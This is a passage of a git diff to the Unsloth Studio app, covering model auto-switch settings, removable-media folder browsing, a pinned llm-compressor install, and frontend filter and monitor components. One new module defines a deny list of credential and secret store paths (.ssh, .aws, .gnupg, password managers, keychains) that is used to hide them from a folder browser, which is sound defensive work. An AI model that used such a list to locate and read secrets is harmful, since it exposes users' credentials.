with _cache_lock: + _cache.pop(key, None) + + +def get_openai_auto_switch_enabled() -> bool: + parsed = _coerce_bool(_cached_setting(OPENAI_AUTO_SWITCH_SETTING_KEY, None)) + return parsed if parsed is not None else DEFAULT_OPENAI_AUTO_SWITCH_ENABLED + + +def _stored_idle_seconds() -> Optional[int]: + """The persisted idle TTL as an int, or None when never set.""" + return _coerce_int(_cached_setting(AUTO_UNLOAD_IDLE_SETTING_KEY, None)) + + +def _env_idle_seconds() -> Optional[int]: + """UNSLOTH_MODEL_IDLE_TTL as a non-negative seconds value, or None if unset/invalid.""" + raw = os.environ.get(MODEL_IDLE_TTL_ENV_VAR) + if raw is None or not raw.strip(): + return None + return _coerce_int(raw) + + +def get_stored_auto_unload_idle_seconds() -> int: + """The persisted idle-unload TTL, independent of whether auto-switch is on. + + The settings UI reads this so it can display and round-trip the saved value; + toggling auto-switch off must not erase it. Falls back to the env override so + the UI shows the startup default. The idle loop uses the gated reader below. + """ + stored = _stored_idle_seconds() + if stored is not None: + return stored + env = _env_idle_seconds() + return env if env is not None else DEFAULT_AUTO_UNLOAD_IDLE_SECONDS + + +def get_auto_unload_idle_seconds() -> int: + """Effective idle TTL the idle loop runs on (0 = never unload).""" + stored = _stored_idle_seconds() + if stored is not None: + # An explicit UI/API value stays gated on auto-switch: off reports 0 so the + # off state is identical to pre-feature. + return stored if get_openai_auto_switch_enabled() else 0 + # No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that + # enables idle-unload even with auto-switch off (headless/container deploys). + env = _env_idle_seconds() + return env if env is not None else 0 + + +def set_openai_auto_switch(enabled: Any, idle_seconds: Any) -> tuple[bool, int]: + """Set both auto-switch flags in one transaction so a settings PUT can't leave + one key updated and the other stale. Both values are coerced before any write, + so an invalid value raises without persisting either.""" + parsed_enabled = _coerce_bool(enabled) + if parsed_enabled is None: + raise ValueError("OpenAI auto-switch must be true or false.") + parsed_idle = _coerce_int(idle_seconds) + if parsed_idle is None: + raise ValueError("Auto-unload idle seconds must be a non-negative integer.") + from storage.studio_db import upsert_app_settings + + upsert_app_settings( + {OPENAI_AUTO_SWITCH_SETTING_KEY: parsed_enabled, AUTO_UNLOAD_IDLE_SETTING_KEY: parsed_idle} + ) + _invalidate(OPENAI_AUTO_SWITCH_SETTING_KEY) + _invalidate(AUTO_UNLOAD_IDLE_SETTING_KEY) + return parsed_enabled, parsed_idle + + +def get_model_overrides() -> dict[str, dict]: + """Per-model launch overrides keyed by model id ({llama_extra_args, max_seq_length}).""" + raw = _cached_setting(MODEL_OVERRIDES_SETTING_KEY, None) + return raw if isinstance(raw, dict) else {} + + +def get_model_override(model_id: str) -> dict: + """The launch override applied when auto-switch loads ``model_id`` (or empty).""" + override = get_model_overrides().get(model_id) + return override if isinstance(override, dict) else {} + + +def set_model_override( + model_id: str, + llama_extra_args: Optional[list[str]] = None, + max_seq_length: Optional[int] = None, +) -> dict: + """Upsert one model's launch override; an override with no fields removes it.""" + if not model_id or not model_id.strip(): + raise ValueError("model_id is required.") + entry: dict[str, Any] = {} + if llama_extra_args: + entry["llama_extra_args"] = [str(arg) for arg in llama_extra_args] + if max_seq_length: + entry["max_seq_length"] = max(0, int(max_seq_length)) + + from storage.studio_db import upsert_app_setting_map_entry + + # Atomic per-entry merge so two PUTs for different models can't drop each other. + upsert_app_setting_map_entry(MODEL_OVERRIDES_SETTING_KEY, model_id.strip(), entry or None) + _invalidate(MODEL_OVERRIDES_SETTING_KEY) + return entry diff --git a/studio/backend/utils/paths/external_media.py b/studio/backend/utils/paths/external_media.py new file mode 100644 index 0000000000..1f1754664f --- /dev/null +++ b/studio/backend/utils/paths/external_media.py @@ -0,0 +1,100 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""External media path helpers.""" + +from __future__ import annotations + +import getpass +import os +import platform +from pathlib import Path + +from utils.paths.sensitive import ( + contains_sensitive_path_component, + is_sensitive_path_component, +) + + +def _is_linux_media_mount_path(path: str, media_root: Path | str) -> bool: + normalized = os.path.normpath(os.path.realpath(os.path.expanduser(path))) + root = os.path.normpath(os.path.realpath(os.path.expanduser(str(media_root)))) + try: + rel = os.path.relpath(normalized, root) + except ValueError: + return False + if rel == "." or rel == ".." or rel.startswith(f"..{os.sep}"): + return False + parts = [part for part in rel.split(os.sep) if part] + return len(parts) >= 2 and all(part not in (".", "..") for part in parts[:2]) + + +def is_linux_run_media_path(path: str) -> bool: + """True for Linux removable-media paths under /run/media//.""" + if platform.system() != "Linux": + return False + return _is_linux_media_mount_path(path, "/run/media") + + +def _current_username() -> str | None: + try: + user = getpass.getuser().strip() + except Exception: + return None + return user or None + + +def _contains_sensitive_media_component(path: Path, media_root: Path) -> bool: + try: + rel = path.relative_to(media_root) + except ValueError: + rel = path + return contains_sensitive_path_component(str(rel)) + + +def linux_run_media_mount_roots( + base: Path | str = "/run/media", *, user: str | None = None +) -> list[Path]: + """Readable /run/media// roots for the folder browser.""" + if platform.system() != "Linux": + return [] + user = user or _current_username() + if not user or user in (".", "..") or os.sep in user: + return [] + base_path = Path(base) + try: + resolved_base = base_path.resolve() + except (OSError, RuntimeError, ValueError): + return [] + + roots: list[Path] = [] + seen: set[str] = set() + user_dir = base_path / user + try: + if not user_dir.is_dir(): + return [] + volume_dirs = list(user_dir.iterdir()) + except (OSError, RuntimeError, ValueError): + return [] + for volume_dir in volume_dirs: + if is_sensitive_path_component(volume_dir.name): + continue + try: + resolved = volume_dir.resolve() + except (OSError, RuntimeError, ValueError): + continue + if not _is_linux_media_mount_path(str(resolved), resolved_base): + continue + if _contains_sensitive_media_component(resolved, resolved_base): + continue + key = os.path.normcase(os.path.realpath(str(resolved))) + if key in seen: + continue + try: + is_dir = resolved.is_dir() + except OSError: + continue + if is_dir and os.access(resolved, os.R_OK | os.X_OK): + seen.add(key) + roots.append(resolved) + return roots diff --git a/studio/backend/utils/paths/sensitive.py b/studio/backend/utils/paths/sensitive.py new file mode 100644 index 0000000000..7d32a5f4cf --- /dev/null +++ b/studio/backend/utils/paths/sensitive.py @@ -0,0 +1,46 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Shared sensitive path-component policy.""" + +from __future__ import annotations + +import os + + +SENSITIVE_PATH_COMPONENTS = { + ".aws", + ".azure", + ".config", + ".docker", + ".gcloud", + ".gnupg", + ".huggingface", + ".kaggle", + ".kube", + ".modelscope", + ".ngc", + ".local", + ".mozilla", + ".pki", + ".thunderbird", + ".ssh", + ".1password", + ".bitwarden", + ".password-store", + "1password", + "bitwarden", + "keychains", + "keyrings", + "mozilla", + "thunderbird", +} + + +def is_sensitive_path_component(name: str) -> bool: + return name.lower() in SENSITIVE_PATH_COMPONENTS + + +def contains_sensitive_path_component(path: str) -> bool: + parts = os.path.normpath(path).split(os.sep) + return any(is_sensitive_path_component(part) for part in parts) diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py index ac0ecfbfcd..2a63caa5b2 100644 --- a/studio/backend/utils/transformers_version.py +++ b/studio/backend/utils/transformers_version.py @@ -226,6 +226,11 @@ _VENV_T5_510_DIR = str(_studio_root() / ".venv_t5_510") # Backwards-compat alias _VENV_T5_DIR = _VENV_T5_550_DIR +# llm-compressor-main shadow for FP8/FP4 export of newer-transformers models. Like the .venv_t5_* +# sidecars but also shadows llm-compressor main + compressed-tensors; installed --no-deps so it +# reuses the workspace torch (torch-agnostic). +_VENV_LLMCOMPRESSOR_DIR = str(_studio_root() / ".venv_llmcompressor") + # Tier precedence: higher rank wins in _higher_tier. _TIER_RANK = {"default": 0, "530": 1, "550": 2, "510": 3} @@ -1518,6 +1523,152 @@ def _ensure_venv_t5_exists() -> bool: return _ensure_venv_t5_550_exists() +# --- llm-compressor-main shadow (FP8/FP4 export of newer-transformers models) --------------------- +# Exact, reproducible pins (bump deliberately in review). Full 40-char SHA validated to FP8-quantize +# Qwen3.5 / Gemma-4 / Llama. +_LLMC_MAIN_TRANSFORMERS = "5.10.2" +_LLMC_MAIN_SHA = "973c9c539a84dd9efaf74e115ede5ca419704c18" +_LLMC_MAIN_COMPRESSED_TENSORS = "0.17.2a20260702" +# Installed --no-deps (torch untouched); the full runtime set llm-compressor main needs, pinned. +_VENV_LLMCOMPRESSOR_SPECS = ( + f"transformers=={_LLMC_MAIN_TRANSFORMERS}", + f"llmcompressor @ git+https://github.com/vllm-project/llm-compressor@{_LLMC_MAIN_SHA}", + f"compressed-tensors=={_LLMC_MAIN_COMPRESSED_TENSORS}", + "huggingface-hub==1.21.0", + "hf-xet==1.5.1", + "tokenizers==0.22.2", + "safetensors==0.8.0", + "accelerate==1.14.0", + "datasets==5.0.0", + "pydantic==2.13.4", + "pydantic-core==2.46.4", + "typing-inspection==0.4.2", + "loguru==0.7.3", + "pyyaml==6.0.3", + "nvidia-ml-py==13.610.43", + "pillow==12.3.0", + "auto-round==0.13.1", + "regex==2026.6.28", +) +# Fingerprint of the pin set; bump the trailing schema version to force a rebuild on layout changes. +_LLMC_SHADOW_FINGERPRINT = ( + f"{_LLMC_MAIN_SHA}|{_LLMC_MAIN_TRANSFORMERS}|{_LLMC_MAIN_COMPRESSED_TENSORS}|schema=1" +) +_LLMC_SHADOW_MARKER = ".unsloth_llmc_fingerprint" + + +def _llmcompressor_main_disabled() -> bool: + """True if the operator forbids the llm-compressor-main shadow (air-gapped / locked-down).""" + return os.environ.get("UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN", "").strip().lower() in { + "1", + "true", + "yes", + "on", + } + + +def _llmcompressor_shadow_is_valid() -> bool: + """True if the shadow dir exists with a marker matching the current pin fingerprint.""" + marker = Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER + try: + return marker.is_file() and marker.read_text().strip() == _LLMC_SHADOW_FINGERPRINT + except Exception: + return False + + +def _ensure_venv_llmcompressor_exists() -> bool: + """Ensure .venv_llmcompressor/ has the pinned llm-compressor-main stack. Install if missing. + + All specs are installed with --no-deps into a --target dir (mirrors the transformers sidecars), + so the workspace torch is never touched. Returns True on success. + """ + if _llmcompressor_shadow_is_valid(): + return True + if _llmcompressor_main_disabled(): + logger.warning( + "llm-compressor-main shadow needed but UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN is set; " + "compressed export of newer-transformers models will fail fast." + ) + return False + if _env_offline(): + logger.warning( + "llm-compressor-main shadow missing and HF/offline mode is set; cannot provision it." + ) + return False + + logger.warning( + "Provisioning llm-compressor-main shadow at %s (one-time, ~a few hundred MB, no torch) ...", + _VENV_LLMCOMPRESSOR_DIR, + ) + shutil.rmtree(_VENV_LLMCOMPRESSOR_DIR, ignore_errors = True) + os.makedirs(_VENV_LLMCOMPRESSOR_DIR, exist_ok = True) + + # Prefer uv (faster) then pip; install every spec at once, --no-deps, prereleases allowed + # (compressed-tensors ships as a pre-release). + base = [ + "--target", + _VENV_LLMCOMPRESSOR_DIR, + "--no-deps", + "--prerelease=allow", + *_VENV_LLMCOMPRESSOR_SPECS, + ] + cmds = [] + if shutil.which("uv"): + cmds.append(["uv", "pip", "install", "--python", sys.executable, *base]) + cmds.append( + [ + sys.executable, + "-m", + "pip", + "install", + *[a for a in base if a != "--prerelease=allow"], + "--pre", + ] + ) + + last_out = "" + for cmd in cmds: + result = subprocess.run( + cmd, + stdout = subprocess.PIPE, + stderr = subprocess.STDOUT, + text = True, + env = child_env_without_native_path_secret(), + **_windows_hidden_subprocess_kwargs(), + ) + last_out = result.stdout or "" + if result.returncode == 0: + try: + (Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER).write_text( + _LLMC_SHADOW_FINGERPRINT + ) + except Exception: + pass + logger.info("Provisioned llm-compressor-main shadow at %s", _VENV_LLMCOMPRESSOR_DIR) + return True + logger.warning("llm-compressor-main shadow install failed with %s; trying next", cmd[0]) + + logger.error( + "Failed to provision llm-compressor-main shadow (spec: llmcompressor@%s). Output:\n%s", + _LLMC_MAIN_SHA, + last_out[-4000:], + ) + return False + + +def llmcompressor_shadow_pythonpath() -> str | None: + """Provision (lazily) the llm-compressor-main shadow and return its sys.path entry, or None. + + Returns None when the shadow is disabled (UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN), offline, or + provisioning failed - callers then fall back to the fail-fast path. + """ + if _llmcompressor_main_disabled(): + return None + if _ensure_venv_llmcompressor_exists(): + return _VENV_LLMCOMPRESSOR_DIR + return None + + def _activate_venv(venv_dir: str, label: str) -> None: """Prepend *venv_dir* to sys.path, purge stale modules, reimport.""" if venv_dir not in sys.path: diff --git a/studio/frontend/src/app/router.tsx b/studio/frontend/src/app/router.tsx index 5c18e637e2..586c03d5df 100644 --- a/studio/frontend/src/app/router.tsx +++ b/studio/frontend/src/app/router.tsx @@ -10,7 +10,6 @@ import { Route as dataRecipesRoute } from "./routes/data-recipes"; import { Route as dataRecipeRoute } from "./routes/data-recipes.$recipeId"; import { Route as chatRoute } from "./routes/chat"; import { Route as exportRoute } from "./routes/export"; -import { Route as gridTestRoute } from "./routes/grid-test"; import { Route as indexRoute } from "./routes/index"; import { Route as loginRoute } from "./routes/login"; import { Route as hubRoute } from "./routes/hub"; @@ -25,7 +24,6 @@ const routeTree = rootRoute.addChildren([ onboardingRoute, loginRoute, changePasswordRoute, - gridTestRoute, hubRoute, settingsRoute, studioRoute, diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx index e5fa6f0191..8c6ddd197a 100644 --- a/studio/frontend/src/app/routes/__root.tsx +++ b/studio/frontend/src/app/routes/__root.tsx @@ -70,6 +70,9 @@ const CHAT_ONLY_ALLOWED = new Set([ "/login", "/signup", "/change-password", + // Export stays reachable on chat-only hosts so the page can show its own grayed-out reason + // instead of a silent redirect; it self-gates via export capability, so nothing runs. + "/export", ]); function isChatOnlyAllowed(pathname: string): boolean { diff --git a/studio/frontend/src/app/routes/grid-test.tsx b/studio/frontend/src/app/routes/grid-test.tsx deleted file mode 100644 index c4b6b505a1..0000000000 --- a/studio/frontend/src/app/routes/grid-test.tsx +++ /dev/null @@ -1,69 +0,0 @@ -// SPDX-License-Identifier: AGPL-3.0-only -// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 - -import { DashboardGrid, DashboardLayout } from "@/components/layout"; -import { - Card, - CardContent, - CardDescription, - CardHeader, - CardTitle, -} from "@/components/ui/card"; -import { createRoute } from "@tanstack/react-router"; -import { requireAuth } from "../auth-guards"; -import { Route as rootRoute } from "./__root"; - -export const Route = createRoute({ - getParentRoute: () => rootRoute, - path: "/grid-test", - beforeLoad: () => requireAuth(), - component: GridTestPage, -}); - -function GridTestPage() { - return ( - -
-
-

Grid Test - 3 Columns

-

- max-w-7xl, gap-6, responsive 1→2→3 -

-
- - - {[1, 2, 3].map((i) => ( - - - Card {i} - ~400px at 1280px viewport - - -
- - - ))} - - -
-

4 Columns

-

~296px per card at 1280px

-
- - - {[1, 2, 3, 4].map((i) => ( - - - Card {i} - Smaller cards - - -
- - - ))} - -
- - ); -} diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx index ef4178ea42..fb1a1fc9c7 100644 --- a/studio/frontend/src/components/app-sidebar.tsx +++ b/studio/frontend/src/components/app-sidebar.tsx @@ -290,13 +290,12 @@ export function AppSidebar() { const chatOnly = usePlatformStore((s) => s.isChatOnly()); const chatOnlyReason = usePlatformStore((s) => s.chatOnlyReason); - // When Train/Export are greyed out (chat-only host), explain why on hover - // instead of disabling them silently. mlx_unavailable is the common macOS case - // after a reinstall/update dropped MLX and is recoverable via `unsloth studio update`. - const trainExportDisabledHint: string | undefined = !chatOnly + // Explain a greyed-out Train (chat-only host) on hover instead of disabling silently. Export is + // no longer disabled here: it stays navigable so its page can show a precise grayed-out reason. + const trainDisabledHint: string | undefined = !chatOnly ? undefined : chatOnlyReason === "mlx_unavailable" - ? "Training needs MLX. Run `unsloth studio update` to enable Train and Export." + ? "Training needs MLX. Run `unsloth studio update` to enable Train." : chatOnlyReason === "intel_mac" ? "Training needs Apple Silicon or a GPU. Intel Macs are chat-only." : chatOnlyReason === "no_gpu" @@ -1206,7 +1205,7 @@ export function AppSidebar() { pathname === "/studio" || pathname.startsWith("/studio/") } disabled={chatOnly} - tooltip={trainExportDisabledHint} + tooltip={trainDisabledHint} spinner={trainingInProgress} onClick={() => { if (chatOnly) return; @@ -1235,7 +1234,7 @@ export function AppSidebar() { label={t("shell.navigation.train")} active={pathname === "/studio" || pathname.startsWith("/studio/")} disabled={chatOnly} - tooltip={trainExportDisabledHint} + tooltip={trainDisabledHint} spinner={trainingInProgress} onClick={() => { if (chatOnly) return; @@ -1256,11 +1255,8 @@ export function AppSidebar() { icon={DownloadSquare01Icon} label={t("shell.navigation.export")} active={pathname === "/export" || pathname.startsWith("/export/")} - disabled={chatOnly} - tooltip={trainExportDisabledHint} spinner={exportInProgress} onClick={() => { - if (chatOnly) return; navigate({ to: "/export" }); closeMobileIfOpen(); }} diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx index e11a08f8ab..20000c82ee 100644 --- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx +++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx @@ -1,6 +1,7 @@ // SPDX-License-Identifier: AGPL-3.0-only // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 +import { Checkbox } from "@/components/ui/checkbox"; import { Input } from "@/components/ui/input"; import { Spinner } from "@/components/ui/spinner"; import { @@ -102,6 +103,7 @@ import { type FormatFilter, estimateQuantBytes, fitsDevice, + hfModelFitsDevice, isMlxId, isMobileVariant, isRecommendableFormat, @@ -1340,6 +1342,9 @@ export function HubModelPicker({ }, []); // When on, On Device GGUF repos show their quantizations without a click. const expandQuantizations = useChatRuntimeStore((s) => s.expandQuantizations); + // Shared with the Hub page: list only models sized within the device budget. + const fitOnDeviceOnly = useChatRuntimeStore((s) => s.fitOnDeviceOnly); + const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly); // Repos the user clicked to collapse while expand-by-default is on. Kept in // memory only, so it resets on reload (and when the setting is toggled). const [collapsedGguf, setCollapsedGguf] = useState>( @@ -1717,34 +1722,19 @@ export function HubModelPicker({ formatFilter === "all" ? rows.filter((r) => isRecommendableFormat(r.id, r.isGguf, isMac)) : rows.filter((r) => matchesFormatFilter(r.id, r.isGguf, formatFilter)); - if (recommendedSort !== "recommended") return rows; + // The "recommended" sort always applies the device-fit filter; the shared + // "Fits on device" tick extends it to the other sorts too. + if (recommendedSort !== "recommended" && !fitOnDeviceOnly) return rows; return rows.filter((r) => { // Downloaded models always show, regardless of device fit. if (downloadedSet.has(r.id.toLowerCase())) return true; - // Unified-memory hosts (Mac / no discrete GPU) still report system RAM, - // so fall back to that budget instead of skipping the fit check entirely. - const hasDeviceBudget = - gpu.memoryTotalGb > 0 || gpu.systemRamAvailableGb > 0; - if (!hasDeviceBudget) return true; - // GGUF/MLX repos rarely expose safetensors metadata, so fall back to the - // GGUF param count, then the repo name, for a size estimate. Anything we - // still cannot size is hidden (requireKnown) so over-budget models like a - // 1T GGUF don't slip into Recommended. - const params = r.totalParams ?? paramsFromId(r.id); - const sizeBytes = - r.estimatedSizeBytes ?? - (params ? estimateQuantBytes(params) : undefined); - return fitsDevice({ - sizeBytes, - gpuGb: gpu.memoryTotalGb, - systemRamGb: gpu.systemRamAvailableGb, - requireKnown: true, - }); + return hfModelFitsDevice(r, gpu); }); }, [ recommendedSearch.results, downloadedSet, recommendedSort, + fitOnDeviceOnly, formatFilter, isMac, gpu, @@ -1976,23 +1966,6 @@ export function HubModelPicker({ [visibleCachedModelRows], ); - // Recommended models that match the current search query - const filteredRecommendedIds = useMemo(() => { - if (!showHfSection) return []; - const q = normalizeForSearch(debouncedQuery.trim()); - return recommendedIds - .filter((id) => normalizeForSearch(id).includes(q)) - .filter((id) => - matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter), - ); - }, [ - showHfSection, - debouncedQuery, - recommendedIds, - formatFilter, - isKnownGgufRepo, - ]); - // Param counts come straight off the unsloth listings the picker already // loaded, so no extra per-id fetch is needed for the VRAM badges. const recommendedParamCountById = useMemo(() => { @@ -2003,6 +1976,42 @@ export function HubModelPicker({ return map; }, [results, recommendedSearch.results]); + // Recommended models that match the current search query + const filteredRecommendedIds = useMemo(() => { + if (!showHfSection) return []; + const q = normalizeForSearch(debouncedQuery.trim()); + return recommendedIds + .filter((id) => normalizeForSearch(id).includes(q)) + .filter((id) => + matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter), + ) + // Curated defaults obey the fit toggle like the live HF rows, else large + // defaults resurface in search results with the filter on. + .filter( + (id) => + !fitOnDeviceOnly || + downloadedSet.has(id.toLowerCase()) || + hfModelFitsDevice( + { + id, + totalParams: recommendedParamCountById.get(id), + isGguf: isKnownGgufRepo(id), + }, + gpu, + ), + ); + }, [ + showHfSection, + debouncedQuery, + recommendedIds, + formatFilter, + isKnownGgufRepo, + fitOnDeviceOnly, + downloadedSet, + recommendedParamCountById, + gpu, + ]); + const recommendedSet = useMemo( () => new Set(filteredRecommendedIds), [filteredRecommendedIds], @@ -2013,6 +2022,12 @@ export function HubModelPicker({ if (!showHfSection || section !== "recommended") return []; return results .filter(isChatSupported) + .filter( + (r) => + !fitOnDeviceOnly || + downloadedSet.has(r.id.toLowerCase()) || + hfModelFitsDevice(r, gpu), + ) .map((result) => result.id) .filter((id) => !isHiddenModelId(id)) .filter((id) => id.toLowerCase().startsWith("unsloth/")) @@ -2035,6 +2050,9 @@ export function HubModelPicker({ isKnownGgufRepo, isChatSupported, formatFilter, + fitOnDeviceOnly, + downloadedSet, + gpu, isMac, ]); @@ -2323,6 +2341,35 @@ export function HubModelPicker({ // selected-item checkmark never overlaps the label. const sortMenuContentClassName = "!p-1 !rounded-[14px] [&_[role=option]]:!pl-2 [&_[role=option]]:!py-1.5 [&_[role=option]]:!text-xs [&_[role=option]]:!rounded-[10px]"; + // Device-fit toggle lives inside the sort menu (shared with the Hub page). + // The whole row is the click target (a button): a Checkbox renders as a + // + + + Hides models larger than this device's memory budget. Downloaded models + stay visible. + + + ); const sectionSortDropdown = section === "recommended" ? ( ) : section === "downloaded" ? ( ) : ( ); diff --git a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts index 24f0edc784..7c2ed266c0 100644 --- a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts +++ b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts @@ -114,3 +114,35 @@ export function fitsDevice(opts: { } return requireKnown ? false : true; } + +/** Fit predicate for one Hub listing row, shared by the chat model selector + * and the Hub page "Fits on device" filter. GGUF repos: metadata size (actual + * weights) or the smallest-quant estimate from the param count. Safetensors / + * MLX repos: always the params-based smallest-quant estimate, matching the + * VRAM badge's quantized-load assumption; their estimatedSizeBytes is the + * full-precision checkpoint and would wrongly hide models the quantized load + * path can run. Anything unsizable is hidden (requireKnown) so over-budget + * models with no metadata don't slip through. An unknown device budget keeps + * everything. */ +export function hfModelFitsDevice( + model: { + id: string; + totalParams?: number; + estimatedSizeBytes?: number; + isGguf?: boolean; + }, + gpu: { memoryTotalGb: number; systemRamAvailableGb: number }, +): boolean { + if (gpu.memoryTotalGb <= 0 && gpu.systemRamAvailableGb <= 0) return true; + const params = model.totalParams ?? paramsFromId(model.id); + const quantBytes = params ? estimateQuantBytes(params) : undefined; + const sizeBytes = isGgufId(model.id, model.isGguf) + ? (model.estimatedSizeBytes ?? quantBytes) + : (quantBytes ?? model.estimatedSizeBytes); + return fitsDevice({ + sizeBytes, + gpuGb: gpu.memoryTotalGb, + systemRamGb: gpu.systemRamAvailableGb, + requireKnown: true, + }); +} diff --git a/studio/frontend/src/components/floating-monitor.tsx b/studio/frontend/src/components/floating-monitor.tsx new file mode 100644 index 0000000000..f02da6612e --- /dev/null +++ b/studio/frontend/src/components/floating-monitor.tsx @@ -0,0 +1,160 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { Button } from "@/components/ui/button"; +import { Progress } from "@/components/ui/progress"; +import { useMonitorOverlayStore } from "@/features/settings/stores/monitor-overlay-store"; +import { useSystemInfo } from "@/hooks/use-system"; +import { useT } from "@/i18n"; +import { cn } from "@/lib/utils"; +import { CpuIcon, GripVerticalIcon, XIcon } from "lucide-react"; +import { motion } from "motion/react"; +import { useRef } from "react"; + +function clampPercent(value: number): number { + return Math.max(0, Math.min(100, value)); +} + +function usageIndicatorClass(percent: number): string { + if (percent >= 90) return "bg-destructive"; + if (percent >= 70) return "bg-amber-500"; + return "bg-primary"; +} + +function usageTextClass(percent: number): string { + if (percent >= 90) return "text-destructive"; + if (percent >= 70) return "text-amber-600 dark:text-amber-400"; + return "text-primary"; +} + +function formatGb(value: number): string { + const digits = value >= 10 ? 1 : 2; + return `${value.toFixed(digits)} GB`; +} + +export function FloatingMonitor() { + const t = useT(); + const { isOpen, setIsOpen } = useMonitorOverlayStore(); + const systemInfo = useSystemInfo({ enabled: isOpen, pollMs: 5000 }); + + const constraintsRef = useRef(null); + + if (!isOpen) return null; + + const ramTotal = systemInfo.memory?.total_gb ?? 0; + const ramAvailable = systemInfo.memory?.available_gb ?? 0; + const ramUsed = Math.max(0, ramTotal - ramAvailable); + const ramPercent = clampPercent(systemInfo.memory?.percent_used ?? 0); + + const devices = systemInfo.gpu?.devices ?? []; + const vramTotal = devices.reduce( + (sum, device) => sum + (device.memory_total_gb ?? 0), + 0, + ); + const vramUsed = devices.reduce( + (sum, device) => sum + (device.vram_used_gb ?? 0), + 0, + ); + const vramPercent = clampPercent( + vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0, + ); + + const hasGpu = (systemInfo.gpu?.available ?? false) && devices.length > 0; + + return ( +
+ +
+
+ + + {t("settings.resources.liveMonitor.title")} + +
+
+
+ +
+ + +
+
+ + +
+
+ {t("settings.resources.liveMonitor.ram")} + + {Math.round(ramPercent)}% + +
+
+ {formatGb(ramUsed)} / {formatGb(ramTotal)} +
+ +
+ + {hasGpu && ( +
+
+ + {t("settings.resources.liveMonitor.vram")}{" "} + {devices.length > 1 + ? `(${devices.length} GPUs)` + : `(${devices[0].name ?? "GPU"})`} + + + {Math.round(vramPercent)}% + +
+
+ {formatGb(vramUsed)} / {formatGb(vramTotal)} +
+ +
+ )} + + +
+ ); +} diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts index ca4bb7afde..7c9685d6d0 100644 --- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts +++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts @@ -42,6 +42,8 @@ export const CHAT_EXPAND_QUANTIZATIONS_KEY = "unsloth_chat_expand_quantizations"; export const CHAT_SHOW_ALL_QUANTIZATIONS_KEY = "unsloth_chat_show_all_quantizations"; +export const MODELS_FIT_ON_DEVICE_ONLY_KEY = + "unsloth_models_fit_on_device_only"; export const CHAT_BYPASS_PERMISSIONS_KEY = "unsloth_chat_bypass_permissions"; export const CHAT_WEB_FETCH_TOOLS_ENABLED_KEY = "unsloth_chat_web_fetch_tools_enabled"; @@ -671,6 +673,9 @@ type ChatRuntimeStore = { expandQuantizations: boolean; /** Persisted: show non-downloaded quantizations too, not just downloaded. */ showAllQuantizations: boolean; + /** Persisted, shared by the chat model selector and the Hub page: list only + * models whose size fits this device's memory budget. */ + fitOnDeviceOnly: boolean; /** A local model picked while `loadOnSelection` is off: staged, not loaded. * The settings sheet shows its load knobs and a Load button. */ pendingSelection: PendingModelSelection | null; @@ -793,6 +798,7 @@ type ChatRuntimeStore = { setLoadOnSelection: (value: boolean) => void; setExpandQuantizations: (value: boolean) => void; setShowAllQuantizations: (value: boolean) => void; + setFitOnDeviceOnly: (value: boolean) => void; setPendingSelection: (selection: PendingModelSelection | null) => void; /** Stage a pick for a deferred load: revert knobs to the loaded baseline, * record the selection, and open the settings sheet. */ @@ -1111,6 +1117,7 @@ export const useChatRuntimeStore = create((set, get) => ({ loadOnSelection: loadBool(CHAT_LOAD_ON_SELECTION_KEY, true), expandQuantizations: loadBool(CHAT_EXPAND_QUANTIZATIONS_KEY, false), showAllQuantizations: loadBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, true), + fitOnDeviceOnly: loadBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, false), pendingSelection: null, loadedIsMultimodal: false, loadedIsDiffusion: false, @@ -1582,6 +1589,10 @@ export const useChatRuntimeStore = create((set, get) => ({ saveBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, showAllQuantizations); set({ showAllQuantizations }); }, + setFitOnDeviceOnly: (fitOnDeviceOnly) => { + saveBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, fitOnDeviceOnly); + set({ fitOnDeviceOnly }); + }, setPendingSelection: (pendingSelection) => set({ pendingSelection }), stageModel: (selection) => { // Refuse staging mid-load: post-load cleanup would silently drop the queued diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts index d1b4e88a6d..be9767a24f 100644 --- a/studio/frontend/src/features/export/api/export-api.ts +++ b/studio/frontend/src/features/export/api/export-api.ts @@ -127,6 